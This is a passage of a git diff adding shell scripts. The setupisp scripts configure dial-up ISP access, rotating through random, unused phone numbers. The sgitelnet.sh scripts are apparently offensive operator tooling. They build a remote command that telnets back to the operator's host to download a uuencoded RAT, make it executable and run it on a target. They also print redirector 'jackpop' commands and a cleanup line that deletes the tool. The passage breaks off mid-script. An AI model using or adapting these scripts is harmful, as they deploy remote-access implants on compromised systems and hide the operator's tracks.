+COMPACTDISK=1 +FLOPPYDISK=2 +# means try both $COMPACTDISK and $FLOPPYDISK +TRYBOTH=3 +USING=$TRYBOTH +SETUP=0 +REDIAL=1 +USETHIS=2 +ACTION=$SETUP +PROG="`basename $0`" + +# called as resetisp, this program assumes ${ISPath}* exist already (saves slow floppy reads) + + + +echo -e "Called as: $0 $@ \n" +for opt in $@ +do + case $opt in + -v ) + echo "`basename $0` version $VER" + exit ;; + -h ) + echo -e "Usage: $PROG -[hv] -[cf] -[rs] + +With no arguments, setupisp will try to load ISP data from the floppy +first and then the CD, and then dial one of the numbers at random. + +If no media is found, the user is prompted to insert it. + +Being called as \"redial\" or \"resetisp\" is the same as using -r. + + -h Display this text and exit. + -v Display the version of this script. + -c ISP media is a CD. + -f ISP media is a Floppy (default tries floppy then CD). + -s Setup a NEW ISP from media then dial (default). + -r Choose a new but not previously used number using + the same ISP and then dial. + +$PROG v$VER" + exit ;; + -c|-cd ) + echo -e "ISP CD chosen\n" + USING=$COMPACTDISK ;; + -f|-floppy ) + echo -e "ISP floppy chosen\n" + USING=$FLOPPYDISK ;; + -r|-redial|-reset ) + echo -e "Action chosen : redial/reset\n" + ACTION=$REDIAL ;; + -s|-setup ) + echo -e "Action chosen : setup\n" + ACTION=$SETUP ;; + -u|-usethis ) + echo -e "Action chosen : use prebuilt Systems.usethis\n" + ACTION=$USETHIS ;; + esac +done + +if [ `id -u` == 0 ] ; then + rm -f /usr/local/bin/resetisp + rm -f /usr/local/bin/redial + rm -f /usr/local/bin/foxisp + ln -sf /usr/local/bin/setupisp /usr/local/bin/resetisp + ln -sf /usr/local/bin/setupisp /usr/local/bin/redial + ln -sf /usr/local/bin/setupisp /usr/local/bin/foxisp +fi + +if [ "`ifconfig ppp0 2>/dev/null | grep addr`" ] ; then + ifconfig ppp0 + [ "$BOOTUP" = "color" ] && $SETCOLOR_FAILURE + echo "You already have a ppp0 interface" + echo "(Maybe you need to run \"./phone stop\"?)" + [ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL + exit 1 +fi +cd /tmp + + +if [ "$PROG" = "resetisp" -o "$PROG" = "redial" ] ; then + echo -e "Action chosen : redial/reset\n" + ACTION=$REDIAL +fi + +case $ACTION in + $USETHIS ) + if [ ! -e "${ISPath}${Tkn}.usethis" ] ; then + echo "${ISPath}${Tkn}.usethis must exist to use -u/-usethis" + exit + fi + echo "*" + echo "* Using prebuilt ${ISPath}${Tkn}.usethis:" + echo "*" + cat ${ISPath}${Tkn}.usethis + cp -fp ${ISPath}${Tkn}.usethis ${ISPath}${Tkn} + ;; + $REDIAL ) + echo -e "Redialing/Reseting\n" + if [ -e "${ISPath}${Tkn}.orig" ] ; then + echo -e "\aUsing existing ${ISPath}* files -- BE SURE YOU HAVE THAT FLOPPY/TOKEN!!" + cp -fp ${ISPath}${Tkn}.orig ${ISPath}${Tkn} + sleep 1 + elif [ -e "${ISPath}${Tkn}" ] ; then + echo -e "\aUsing existing ${ISPath}* files -- BE SURE YOU HAVE THAT FLOPPY/TOKEN!!" + sleep 1 + else + echo -e "\aUnable to continue--no existing ${ISPath}* files. Try just \"./$PROG -f/c -s\"." + exit + fi + ;; + $SETUP ) + if [ $USING == $TRYBOTH ] ; then + echo -e "Setting up using either floppy or CD\n" + TRYTHESE="$FLOPPYDISK $COMPACTDISK" + else + echo -e "Setting up\n" + TRYTHESE="$USING" + fi + ALREADY="echo -e \n*\n* ISP $DISKTYPE found in drive already.\n*\n" + while [ 1 ] ; do + for USING in $TRYTHESE ; do + case $USING in + $FLOPPYDISK ) + DISKPATH="/dev/fd0" + DISKTYPE="floppy" + TAR=$(tar tvf $DISKPATH 2>/dev/null | egrep "Systems|secret|resolv.conf" | wc -l) + INSTALL="tar -C $ISPath -xvf $DISKPATH" + INSTALL2="" + INSTALL3="" + ;; + $COMPACTDISK ) + eject -t cdrom + mount /mnt/cdrom 2>/dev/null + DISKPATH="/mnt/cdrom/ispfiles/" + DISKTYPE="CD" + TAR=$(ls $DISKPATH 2>/dev/null | egrep "Systems|secret|resolv.conf" | wc -l) + INSTALL="cp ${DISKPATH}* $ISPath" + INSTALL2="chmod +w $ISPath/*" + INSTALL3="eject /mnt/cdrom" + ;; + esac + if [ $TAR == 3 ] ; then + echo -e "Using ISP from a $DISKTYPE \n" + break + fi + done + if [ $TAR == 3 ] ; then + $ALREADY + break + else + ALREADY="" + echo "*" + echo "* Insert ISP floppy or CD and hit " + echo "*" + eject + read ANS + fi + done + echo -e "rm -rf $ISPath\n" + rm -rf $ISPath + echo -e "mkdir $ISPath\n" + mkdir $ISPath + #echo -e "tar -C $ISPath -xvf $DISKPATH\n" + #tar -C $ISPath -xvf $DISKPAT + echo -e "*** Installing ISP data ***\n$INSTALL \n" + $INSTALL + $INSTALL2 + $INSTALL3 + ;; +esac + +if [ ! -e "${ISPath}${Tkn}.orig" ] ; then + cp -fp ${ISPath}${Tkn} ${ISPath}${Tkn}.orig +fi + +if [ "$ACTION" != "$USETHIS" ] ; then + until [ -e "${ISPath}${Tkn}" ] ; do + rm -rf isp/* + [ "$BOOTUP" = "color" ] && $SETCOLOR_FAILURE + echo -n "Seems to be the wrong ${DISKTYPE}! Put in ISP ${DISKTYPE} and hit return." + [ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL + read ans +#TODO: THIS ASSUMES TAR + tar -C isp -xvf $DISKPATH + done + # added 1 dec 05 - make numbered file to ref ppp line + # check for numbered file + # create it if not present + if [ ! -e "${ISPath}${Tkn}.num" ] ; then + echo -e "${ISPath}${Tkn}.num does not exist. Creating it now." + echo -e "egrep -in ^\#ppp ${ISPath}${Tkn} > ${ISPath}${Tkn}.num \n" + egrep -in ^\#ppp ${ISPath}${Tkn} > ${ISPath}${Tkn}.num + fi + + # if numbered file is only one line long + # recreate it + TKNUM=$(cat ${ISPath}${Tkn}.num | wc -l) + ORIGNUM=$(grep -i ppp ${ISPath}${Tkn}.orig | wc -l) + echo "Number of dialups remaining in pool : $TKNUM of original $ORIGNUM" + + if [ $TKNUM -lt 2 ] ; then + echo "${ISPath}${Tkn}.num s too short. Receating it now." + egrep -in ^\#ppp ${ISPath}${Tkn} > ${ISPath}${Tkn}.num + TKNUM=$(more ${ISPath}${Tkn}.num | wc -l | egrep \d*) + echo "New number of dialups in pool : $TKNUM" + fi + + # end add + + #commented out 29/nov/2005 - replaced by next few lines + #RND=$(expr $RANDOM % $(cat /tmp/isp/Systems | wc -l)) + + #random number for number of lines that are qualified + NRND=$(expr $RANDOM % $TKNUM) + #assign RND to what line to edit from numbered temp file + more +$NRND ${ISPath}${Tkn}.num | head -1 > ${ISPath}${Tkn}.numtmp + RND=$(sed -e s/\:\#.*// ${ISPath}${Tkn}.numtmp) + ENTRY=$(expr $RND / 2) + + #update the numbered file by removing the used line + mv ${ISPath}${Tkn}.num ${ISPath}${Tkn}.not + grep -v "^$RND:" ${ISPath}${Tkn}.not > ${ISPath}${Tkn}.num + rm -f ${ISPath}${Tkn}.not ${ISPath}${Tkn}.numtmp + + echo "Use random entry ${ENTRY} or original $ORIGNUM" + echo "*" + echo "* Editting phone number file" + echo "*" + + usleep 333333 2>/dev/null + #commented out to allow auto editing + #vi +${RND} +/pp /tmp/isp/Systems + #new line to remove the starting # + sed -e ${RND},${RND}s/^\#// ${ISPath}${Tkn}.orig > ${ISPath}${Tkn} + + grep -v "^#" ${ISPath}${Tkn} + sleep 3 + +#else +# The Systems.usethis is already in place as Systems +fi + + +echo "*" +echo "* Building /etc/wvdial.conf" +echo "*" + +USERNAME="$(grep ^NAME: ${ISPath}xisprc | cut -d\ -f2)" +PASSWORD="$(cat ${ISPath}secret)" +NUMBER="$(grep -v ^\# ${ISPath}${Tkn} | grep -v '^$' | cut -d\ -f5)" +CITY=$(grep -v "^$" ${ISPath}${Tkn} | grep -B 1 "^[^#]" 2>/dev/null|tr "#" "," | cut -f 2,3 -d "," | head -1) +NUMBER2=$(echo $NUMBER | cut -f 2 -d "," | sed "s/^1-//" ) +ISP=$(grep ^DESCR ${ISPath}xisprc | awk '{print $2}'|cut -f 1 -d "/") + +#rm -rf /tmp/isp + +if [ ! "$NUMBER" -o ! "$USERNAME" -o ! "$PASSWORD" ] ; then + echo "FATAL ERROR: Cannot continue. ${ISPath} does not contain sufficient entries:" + echo "Phone = $NUMBER" + echo "Username = $USERNAME" + echo "Password = $PASSWORD" + exit +fi + +DEV=/dev/ttyS0 +if [ -e /dev/modem ] ; then + DEV=/dev/modem +else + echo "Using /dev/ttyS0 since /dev/modem does not exist--MAY BE WRONG!" +fi + +cat << EOF > /etc/wvdial.conf +[Dialer Defaults] +Modem = $DEV +Baud = 115200 +Init1 = ATZ +Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 S11=55 +FCLASS=0 +Auto Reconnect = off +EOF + +echo "Phone = $NUMBER" >> /etc/wvdial.conf +echo "Username = $USERNAME" >> /etc/wvdial.conf +echo "Password = $PASSWORD" >> /etc/wvdial.conf + +echo "*" +echo "* Dialing ISP with these settings in /etc/wvdial.conf" +cat /etc/wvdial.conf | sed "s/Password = .*/Password = ********/" +echo "*" + +cp -pf ${ISP_INFOFILE}.old2 ${ISP_INFOFILE}.old3 2>/dev/null +cp -pf ${ISP_INFOFILE}.old1 ${ISP_INFOFILE}.old2 2>/dev/null +cp -pf $ISP_INFOFILE ${ISP_INFOFILE}.old1 2>/dev/null +cat << EOF > $ISP_INFOFILE +$ISP +$CITY +$NUMBER2 +EOF +date -u >> $ISP_LOG +cat << EOF >> $ISP_LOG +$ISP +$CITY +$NUMBER2 +EOF + +echo "*" +echo "* Detailed ISP Information from ${ISP_INFOFILE}" +echo "*" +cat $ISP_INFOFILE + +# If it is there, run this. It will sync up the clock on the Internet +# if need be, and if the Internet shows up in the next few minutes. +if [ -x "/usr/local/bin/clocksync.pl" ] ; then + /usr/local/bin/clocksync.pl & +fi +exec wvdial diff --git a/Linux/bin/setupisp.old b/Linux/bin/setupisp.old new file mode 100755 index 0000000..bf7a595 --- /dev/null +++ b/Linux/bin/setupisp.old @@ -0,0 +1,160 @@ +#!/bin/bash + +. /etc/rc.d/init.d/functions +VER=2.5.1.1 + +ISP_INFOFILE=/tmp/isp_info +ISP_LOG=/tmp/isp_log + +# called as resetisp, this program assumes /tmp/isp/* exist already (saves slow floppy reads) +rm -f /usr/local/bin/resetisp +rm -f /usr/local/bin/redial +ln -sf /usr/local/bin/setupisp /usr/local/bin/resetisp +ln -sf /usr/local/bin/setupisp /usr/local/bin/redial + +if [ "`ifconfig ppp0 2>/dev/null | grep addr`" ] ; then + if [ ! "`basename $0`" = "redial" ] ; then + ifconfig ppp0 + [ "$BOOTUP" = "color" ] && $SETCOLOR_WARNING + echo "You already have a ppp0 interface -- press return to exit." + if [ "$UNATTENDED" ] ; then + echo -n "ABORTING (UNATTENDED=$UNATTENDED)" + exit 1 + else + echo -n "(Maybe you need to run \"phone stop\"?)" + [ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL + read ans + exit 1 + fi + fi +fi +cd /tmp + +[ "$1" = "-v" ] && echo "`basename $0` version $VER" && exit +[ "$1" = "-h" ] && echo -e "Usage: See source\n\n`basename $0` version $VER\n" && exit +[ "${1:0:1}" = "-" ] && echo -e "${COLOR_FAILURE}BAD OPTION!\n$COLOR_NORMAL\nUsage: See source\n\n`basename $0` version $VER\n" && exit + + +if [ ! -e "/tmp/isp/Systems.usethis" -a ! -e "/tmp/isp.justdoit" ] ; then + if [ "$1" -o "`basename $0`" = "resetisp" -o "`basename $0`" = "redial" ] ; then + echo -e "\aUsing existing /tmp/isp/* files -- BE SURE YOU HAVE THAT FLOPPY/TOKEN!!" + grep DESC /tmp/isp/xisprc + if [ ! -e "/tmp/isp/Systems" ] ; then + echo -e "\aUnable to continue--no existing /tmp/isp/* files. Try just \"setupisp\"." + exit + fi + else + TAR=`tar tvf /dev/fd0 2>/dev/null | egrep "Systems|secret|resolv.conf" | wc -l` + if [ $TAR == 3 ] ; then + echo "*" + echo "* ISP floppy found in drive already." + echo "*" + else + echo "*" + echo "* Insert ISP floppy and hit " + echo "*" + read ANS + fi + rm -rf /tmp/isp + mkdir /tmp/isp + tar -C /tmp/isp -xvf /dev/fd0 + fi + until [ -e "/tmp/isp/Systems" ] ; do + rm -rf /tmp/isp/* + [ "$BOOTUP" = "color" ] && $SETCOLOR_WARNING + echo -n "Seems to be the wrong floppy! Put in ISP Floppy and hit return." + [ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL + read ans + tar -C /tmp/isp -xvf /dev/fd0 + done + if [ ! -e "/tmp/isp/Systems.orig" ] ; then + cp -fp /tmp/isp/Systems /tmp/isp/Systems.orig + fi + + RND=$(expr $RANDOM % $(cat /tmp/isp/Systems | wc -l)) + + echo "*" + echo "* Editting phone number file" + echo "*" + + usleep 333333 2>/dev/null + vi +${RND} +/pp /tmp/isp/Systems + +else + if [ ! -e "/tmp/isp/Systems.orig" ] ; then + cp -fp /tmp/isp/Systems /tmp/isp/Systems.orig + fi + echo "*" + echo "* Using prebuilt /tmp/isp/Systems.usethis:" + echo "*" + cat /tmp/isp/Systems.usethis + cp -fp /tmp/isp/Systems.usethis /tmp/isp/Systems +fi +echo "*" +echo "* Building /etc/wvdial.conf" +echo "*" + +USERNAME="$(grep ^NAME: /tmp/isp/xisprc | cut -d\ -f2)" +PASSWORD="$(cat /tmp/isp/secret)" +#NUMBER="$(grep -v ^\# /tmp/isp/Systems | grep -v '^$' | cut -d\ -f5)" +NUMBER=$(grep -v ^\# /tmp/isp/Systems | grep -v '^$' | sed s/.*\ //) +CITY=$(grep -v "^$" /tmp/isp/Systems | grep -B 1 "^[^#]" 2>/dev/null|tr "#" "," | cut -f 2,3 -d "," | head -1) +NUMBER2=$(echo $NUMBER | cut -f 2 -d "," | sed "s/^1-//" ) +ISP=$(grep ^DESCR /tmp/isp/xisprc | awk '{print $2}'|cut -f 1 -d "/") + +#rm -rf /tmp/isp + + +cat << EOF > /etc/wvdial.conf.new +[Dialer Defaults] +Modem = /dev/ttyS0 +Baud = 115200 +Init1 = ATZ +Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 S11=55 +FCLASS=0 +Auto Reconnect = off +Phone = $NUMBER +Username = $USERNAME +Password = $PASSWORD +EOF + +if [ "$NUMBER2" = "" ] ; then + echo "*" + echo "* ABORTING!! No phone number in resulting /tmp/isp/Systems" + echo "*" + echo "* wvdial.conf would have been (see /etc/wvdial.conf.new):" + cat /etc/wvdial.conf.new | sed "s/Password = .*/Password = ********/" + exit +else + rm -f /etc/wvdial.conf + mv /etc/wvdial.conf.new /etc/wvdial.conf + [ ! -e "/etc/wvdial.conf" ] && echo "ERROR: cannot create /etc/wvdial.conf" && exit 1 +fi + +echo "*" +echo "* Dialing ISP with these settings in /etc/wvdial.conf" +echo "*" +cat /etc/wvdial.conf | sed "s/Password = .*/Password = ********/" + +cp ${ISP_INFOFILE}.old1 ${ISP_INFOFILE}.old2 2>/dev/null +cp $ISP_INFOFILE ${ISP_INFOFILE}.old1 2>/dev/null +cat << EOF > $ISP_INFOFILE +$ISP +$CITY +$NUMBER2 +EOF +date -u >> $ISP_LOG +cat << EOF >> $ISP_LOG +$ISP +$CITY +$NUMBER2 +EOF + +echo "*" +echo "* Detailed ISP Information from ${ISP_INFOFILE}" +echo "*" +cat $ISP_INFOFILE + +if [ -x "/usr/local/bin/clocksync.pl" ] ; then + /usr/local/bin/clocksync.pl & +fi +exec wvdial diff --git a/Linux/bin/setupisp.old1 b/Linux/bin/setupisp.old1 new file mode 100755 index 0000000..bf7a595 --- /dev/null +++ b/Linux/bin/setupisp.old1 @@ -0,0 +1,160 @@ +#!/bin/bash + +. /etc/rc.d/init.d/functions +VER=2.5.1.1 + +ISP_INFOFILE=/tmp/isp_info +ISP_LOG=/tmp/isp_log + +# called as resetisp, this program assumes /tmp/isp/* exist already (saves slow floppy reads) +rm -f /usr/local/bin/resetisp +rm -f /usr/local/bin/redial +ln -sf /usr/local/bin/setupisp /usr/local/bin/resetisp +ln -sf /usr/local/bin/setupisp /usr/local/bin/redial + +if [ "`ifconfig ppp0 2>/dev/null | grep addr`" ] ; then + if [ ! "`basename $0`" = "redial" ] ; then + ifconfig ppp0 + [ "$BOOTUP" = "color" ] && $SETCOLOR_WARNING + echo "You already have a ppp0 interface -- press return to exit." + if [ "$UNATTENDED" ] ; then + echo -n "ABORTING (UNATTENDED=$UNATTENDED)" + exit 1 + else + echo -n "(Maybe you need to run \"phone stop\"?)" + [ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL + read ans + exit 1 + fi + fi +fi +cd /tmp + +[ "$1" = "-v" ] && echo "`basename $0` version $VER" && exit +[ "$1" = "-h" ] && echo -e "Usage: See source\n\n`basename $0` version $VER\n" && exit +[ "${1:0:1}" = "-" ] && echo -e "${COLOR_FAILURE}BAD OPTION!\n$COLOR_NORMAL\nUsage: See source\n\n`basename $0` version $VER\n" && exit + + +if [ ! -e "/tmp/isp/Systems.usethis" -a ! -e "/tmp/isp.justdoit" ] ; then + if [ "$1" -o "`basename $0`" = "resetisp" -o "`basename $0`" = "redial" ] ; then + echo -e "\aUsing existing /tmp/isp/* files -- BE SURE YOU HAVE THAT FLOPPY/TOKEN!!" + grep DESC /tmp/isp/xisprc + if [ ! -e "/tmp/isp/Systems" ] ; then + echo -e "\aUnable to continue--no existing /tmp/isp/* files. Try just \"setupisp\"." + exit + fi + else + TAR=`tar tvf /dev/fd0 2>/dev/null | egrep "Systems|secret|resolv.conf" | wc -l` + if [ $TAR == 3 ] ; then + echo "*" + echo "* ISP floppy found in drive already." + echo "*" + else + echo "*" + echo "* Insert ISP floppy and hit " + echo "*" + read ANS + fi + rm -rf /tmp/isp + mkdir /tmp/isp + tar -C /tmp/isp -xvf /dev/fd0 + fi + until [ -e "/tmp/isp/Systems" ] ; do + rm -rf /tmp/isp/* + [ "$BOOTUP" = "color" ] && $SETCOLOR_WARNING + echo -n "Seems to be the wrong floppy! Put in ISP Floppy and hit return." + [ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL + read ans + tar -C /tmp/isp -xvf /dev/fd0 + done + if [ ! -e "/tmp/isp/Systems.orig" ] ; then + cp -fp /tmp/isp/Systems /tmp/isp/Systems.orig + fi + + RND=$(expr $RANDOM % $(cat /tmp/isp/Systems | wc -l)) + + echo "*" + echo "* Editting phone number file" + echo "*" + + usleep 333333 2>/dev/null + vi +${RND} +/pp /tmp/isp/Systems + +else + if [ ! -e "/tmp/isp/Systems.orig" ] ; then + cp -fp /tmp/isp/Systems /tmp/isp/Systems.orig + fi + echo "*" + echo "* Using prebuilt /tmp/isp/Systems.usethis:" + echo "*" + cat /tmp/isp/Systems.usethis + cp -fp /tmp/isp/Systems.usethis /tmp/isp/Systems +fi +echo "*" +echo "* Building /etc/wvdial.conf" +echo "*" + +USERNAME="$(grep ^NAME: /tmp/isp/xisprc | cut -d\ -f2)" +PASSWORD="$(cat /tmp/isp/secret)" +#NUMBER="$(grep -v ^\# /tmp/isp/Systems | grep -v '^$' | cut -d\ -f5)" +NUMBER=$(grep -v ^\# /tmp/isp/Systems | grep -v '^$' | sed s/.*\ //) +CITY=$(grep -v "^$" /tmp/isp/Systems | grep -B 1 "^[^#]" 2>/dev/null|tr "#" "," | cut -f 2,3 -d "," | head -1) +NUMBER2=$(echo $NUMBER | cut -f 2 -d "," | sed "s/^1-//" ) +ISP=$(grep ^DESCR /tmp/isp/xisprc | awk '{print $2}'|cut -f 1 -d "/") + +#rm -rf /tmp/isp + + +cat << EOF > /etc/wvdial.conf.new +[Dialer Defaults] +Modem = /dev/ttyS0 +Baud = 115200 +Init1 = ATZ +Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 S11=55 +FCLASS=0 +Auto Reconnect = off +Phone = $NUMBER +Username = $USERNAME +Password = $PASSWORD +EOF + +if [ "$NUMBER2" = "" ] ; then + echo "*" + echo "* ABORTING!! No phone number in resulting /tmp/isp/Systems" + echo "*" + echo "* wvdial.conf would have been (see /etc/wvdial.conf.new):" + cat /etc/wvdial.conf.new | sed "s/Password = .*/Password = ********/" + exit +else + rm -f /etc/wvdial.conf + mv /etc/wvdial.conf.new /etc/wvdial.conf + [ ! -e "/etc/wvdial.conf" ] && echo "ERROR: cannot create /etc/wvdial.conf" && exit 1 +fi + +echo "*" +echo "* Dialing ISP with these settings in /etc/wvdial.conf" +echo "*" +cat /etc/wvdial.conf | sed "s/Password = .*/Password = ********/" + +cp ${ISP_INFOFILE}.old1 ${ISP_INFOFILE}.old2 2>/dev/null +cp $ISP_INFOFILE ${ISP_INFOFILE}.old1 2>/dev/null +cat << EOF > $ISP_INFOFILE +$ISP +$CITY +$NUMBER2 +EOF +date -u >> $ISP_LOG +cat << EOF >> $ISP_LOG +$ISP +$CITY +$NUMBER2 +EOF + +echo "*" +echo "* Detailed ISP Information from ${ISP_INFOFILE}" +echo "*" +cat $ISP_INFOFILE + +if [ -x "/usr/local/bin/clocksync.pl" ] ; then + /usr/local/bin/clocksync.pl & +fi +exec wvdial diff --git a/Linux/bin/sgitelnet.sh b/Linux/bin/sgitelnet.sh new file mode 100755 index 0000000..5ab61fd --- /dev/null +++ b/Linux/bin/sgitelnet.sh @@ -0,0 +1,220 @@ +#!/bin/sh +COLOR_NORMAL="\\033[0;39m" +SETCOLOR_NORMAL="echo -en $COLOR_NORMAL" +COLOR_NOTE="\\033[0;34m" +SETCOLOR_NOTE="echo -en $COLOR_NOTE" +SYNTAX=" \\ + [] [ [nosy] ] +" +DEFJLPORT=13 +PROG=`basename ${0}` +usage () { + echo " +Usage: [RA=redirector-address RP=redirector-port] $PROG \\ + $SYNTAX + * RA and RP required if redirecting JL with jackpop + * jl is assumed to be in ./jl + * jl_port defaults to $DEFJLPORT (arg required if next arg is used) + * rat_port optional - default used if not given. BUT--if rat_port is + given and nopen is not being used, the final argument must be + nosy to send the older syntax up. + + e.g. $PROG alice LOCALIP 32177 /tmp/.X11R6 nscd + e.g. $PROG alice LOCALIP 32177 /tmp/.X11R6 nscd 25 17348 + e.g. $PROG alice LOCALIP 32177 /tmp/.X11R6 nscd 113 33433 nosy + +NOTE: You may now pre-set any/all of the following environment + variables if using jackpop with $PROG (RA & RP required). + +For jl.command +locally: RA=redirector-address RP=redirector-port + +For jackpop on LP=same-as-RP SA=your-source-IP +redirector: TA=target-address TP=target-JL-port + + If you do not set LP and/or SA, they will be determined by the + parameter and ifconfig. + + If you do not set TA and/or TP, you will be prompted for them. +" + exit +} +case "${#}" in + 0|1|2|3|4|9) + usage + ;; +esac + +REMOTEIP=$1 +LOCALIP=$2 +LOCALPORT=$3 +TARGETDIR=$4 +RAT_FILE=$5 +JLPORT=$6 +RAT_PORT=$7 +RAT_NAME=$8 + +[ "$RAT_NAME" ] || RAT_NAME=nopen + +PLATFORM=`uname` +if [ "$PLATFORM" = "Linux" ]; then + MINUSN=-n +else + MINUSN="" +fi + +if [ "$JLPORT" = "" ]; then + JLPORT=$DEFJLPORT +fi +if [ "$RAT_PORT" != "" ]; then + if [ $RAT_PORT -lt 1025 -o $RAT_PORT -gt 65535 ]; then + echo rat_port must be between 1025 and 65535, inclusive + echo "" + usage + fi + if [ "$RAT_NAME" = "nosy" ]; then + RAT_ARG="P=$RAT_PORT " + else + if [ "$RAT_NAME" = "nopen" ]; then + RAT_ARG="D=\"-l $RAT_PORT\" " + if [ ! "`../bin/noclient | grep '2\.5'`" = "" ] ; then + RAT_ARG="D=\"-l $RAT_PORT\" " + fi + else + echo rat_name $RAT_NAME is not nosy or nopen + echo "" + usage + fi + fi +else + RAT_ARG="" +fi + +JACKPOP=0 + +if [ ! "$RA" = "" ] || [ ! "$RP" = "" ] ; then + JACKPOP=1 + if [ "$RA" = "" ] || [ "$RP" = "" ] ; then + echo "FATAL ERROR: Must have BOTH environment variables RA and RP set." + exit 1 + fi + if [ ! "$RP" = "$JLPORT" ] ; then + echo "Shouldn't RP=JLPORT? +(you have RP=$RP and JLPORT=$JLPORT)" + echo $MINUSN " +Hit ^C to abort and fix this or hit enter to continue +(though that would most likely not work)." + read quitans + fi + if [ ! "$RA" = "$REMOTEIP" ] || [ ! "$RA" = "$LOCALIP" ] ; then + echo "Shouldn't RA=LOCALIP=REMOTEIP? (you have + RA=$RA, LOCALIP=$LOCALIP + and REMOTEIP=$REMOTEIP)" + echo $MINUSN " +Hit ^C to abort and fix this or hit enter to continue +(though that would most likely not work)." + read quitans + fi + if [ ! "$TA" ] ; then + DEFTARGETIP=`egrep "^Target IP:" /current/etc/opscript.txt | awk '{print $3}' | head -1` + echo $MINUSN " +Enter the IP of your actual target you are redirecting +through $REMOTEIP to get to (this is used here to echo +a jackpop command to paste into your redirector): [$DEFTARGETIP]" + read TA + [ "$TA" ] || TA=$DEFTARGETIP + fi + if [ ! "$TP" ] ; then + echo $MINUSN " +Enter the actual target's JL trigger port (this is used here +to echo a jackpop command to paste into your redirector): [$DEFJLPORT] " + read TP + [ "$TP" ] || TP=$DEFJLPORT + fi + if [ ! "$LP" ] ; then + LP=$RP + fi + + LOCAL_IP_GUESS=`ifconfig ppp0 2>/dev/null | grep inet | grep -v grep | grep -v ":127\." | awk '{print $2}' | cut -d ":" -f 2` + # if that fails maybe it's on eth0 + [ "$LOCAL_IP_GUESS" ] || LOCAL_IP_GUESS=`ifconfig -a eth0 | grep inet | grep -v grep | awk '{print $2}' | cut -d ":" -f 2` + [ "$LOCAL_IP_GUESS" ] || echo "Unable to get local IP address..bailing" + [ "$LOCAL_IP_GUESS" ] || exit 1 + + if [ "$SA" ] ; then + if [ ! "$SA" = "$LOCAL_IP_GUESS" ] ; then + echo "Shouldn't SA=LOCAL_IP_GUESS? (you have +SA=$SA and the local IP appears to be +$LOCAL_IP_GUESS." + echo $MINUSN " +Hit ^C to abort and fix this or hit enter to continue +(though that would most likely not work)." + read quitans + fi + else + SA=$LOCAL_IP_GUESS + fi +fi + +echo "CommandLine: $PROG ${*}" + +REALCMD="N=/dev/null +D=$TARGETDIR +PATH=\$D:/bin:/usr/bin:/sbin:/usr/sbin:/usr/bsd +mkdir \$D +cd \$D +telnet $LOCALIP $LOCALPORT | cat > $RAT_FILE.uu +uudecode $RAT_FILE.uu +if [ ! -f $RAT_FILE.Z ]; then + telnet $LOCALIP 80 +fi +uncompress -f $RAT_FILE.Z +chmod 777 $RAT_FILE +PATH=\$D ${RAT_ARG}${RAT_FILE} +exit 0" +export REALCMD + +echo "" +echo "" +echo "CHECK SYNTAX IN REALCMD AND IN jl.command LINE BEFORE CONTINUING" +echo "" +echo "New order of arguments is: " +echo "$PROG $SYNTAX" +echo "" + +echo "REALCMD=\"$REALCMD\"" +echo "" +echo "Command about to be executed:" +echo " ./jl.command telnet $REMOTEIP $JLPORT" + +if [ "$JACKPOP" = 1 ] ; then + echo " +Using jackpop with environment variables as follows: + Redirector Address RA=$RA + Redirector Port RP=$RP + Target Address TA=$TA + Target Port TP=$TP + Listening Port on RA LP=$LP + Source Address SA=$SA + +Now, some pastables. First, the jackpop command you need to run in an +INCISION window on $RA, then the -rtun command in a NOPEN window +on the same box, and finally an rm command to wipe jackpop: " +$SETCOLOR_NOTE + echo " + chmod 700 jp&&netstat -an|grep $LP||PATH=. SA=$SA TA=$TA TP=$TP LP=$LP jp + + rm jp ; ls -al ; ls -al jp + + -rtun $LOCALPORT +" + $SETCOLOR_NORMAL +fi +echo "CHECK SYNTAX IN REALCMD AND IN jl.command LINE BEFORE CONTINUING" +echo $MINUSN "hit enter to proceed, ^C to not: " + +read junk + +#now run jackladder + +./jl.command telnet $REMOTEIP $JLPORT diff --git a/Linux/bin/sgitelnet.sh.old1 b/Linux/bin/sgitelnet.sh.old1 new file mode 100755 index 0000000..7a77453 --- /dev/null +++ b/Linux/bin/sgitelnet.sh.old1 @@ -0,0 +1,109 @@ +#!/bin/sh +usage () { + echo "" + echo "Usage: ${0} [] [ ]" + echo " jl is assumed to be in ./jl" + echo " jl_port defaults to 25" + echo " rat_port optional - default used if not given, but if" + echo " rat_port given, rat_name must be nosy or nopen" + echo " e.g. ${0} alice LOCALIP 32177 /tmp/.X11R6 nscd" + echo " e.g. ${0} alice LOCALIP 32177 /tmp/.X11R6 nscd 13 33433 nosy" + echo "" + exit +} +case "${#}" in + 0|1|2|3|4|7) + usage + ;; +esac + +REMOTEIP=$1 +LOCALIP=$2 +LOCALPORT=$3 +TARGETDIR=$4 +RAT_FILE=$5 +JLPORT=$6 +RAT_PORT=$7 +RAT_NAME=$8 + +if [ "$JLPORT" = "" ]; then + JLPORT=25 +fi +if [ "$RAT_PORT" != "" ]; then + if [ "$RAT_NAME" = "" ]; then + echo You must supply rat_name with rat_port + echo "" + usage + fi + if [ $RAT_PORT -lt 1025 -o $RAT_PORT -gt 65535 ]; then + echo rat_port must be between 1025 and 65535, inclusive + echo "" + usage + fi + if [ "$RAT_NAME" = "nosy" ]; then + RAT_ARG="P=$RAT_PORT " + else + if [ "$RAT_NAME" = "nopen" ]; then + RAT_ARG="C=\"-l $RAT_PORT\" " + else + echo rat_name $RAT_NAME is not nosy or nopen + echo "" + usage + fi + fi +else + RAT_ARG="" +fi + +if [ ! "$RA" = "" ]; then + echo "RA=\"$RA\"" +fi +if [ ! "$RP" = "" ]; then + echo "RP=\"$RP\"" +fi + +echo CommandLine: ${0} ${*} + +#1 on line below is for F version. Use 2 for D version +REALCMD="N=/dev/null +D=$TARGETDIR +PATH=\$D:/bin:/usr/bin:/sbin:/usr/sbin:/usr/bsd +mkdir \$D +cd \$D +telnet $LOCALIP $LOCALPORT | cat > $RAT_FILE.uu +uudecode $RAT_FILE.uu +if [ ! -f $RAT_FILE.Z ]; then + telnet $LOCALIP 80 +fi +uncompress -f 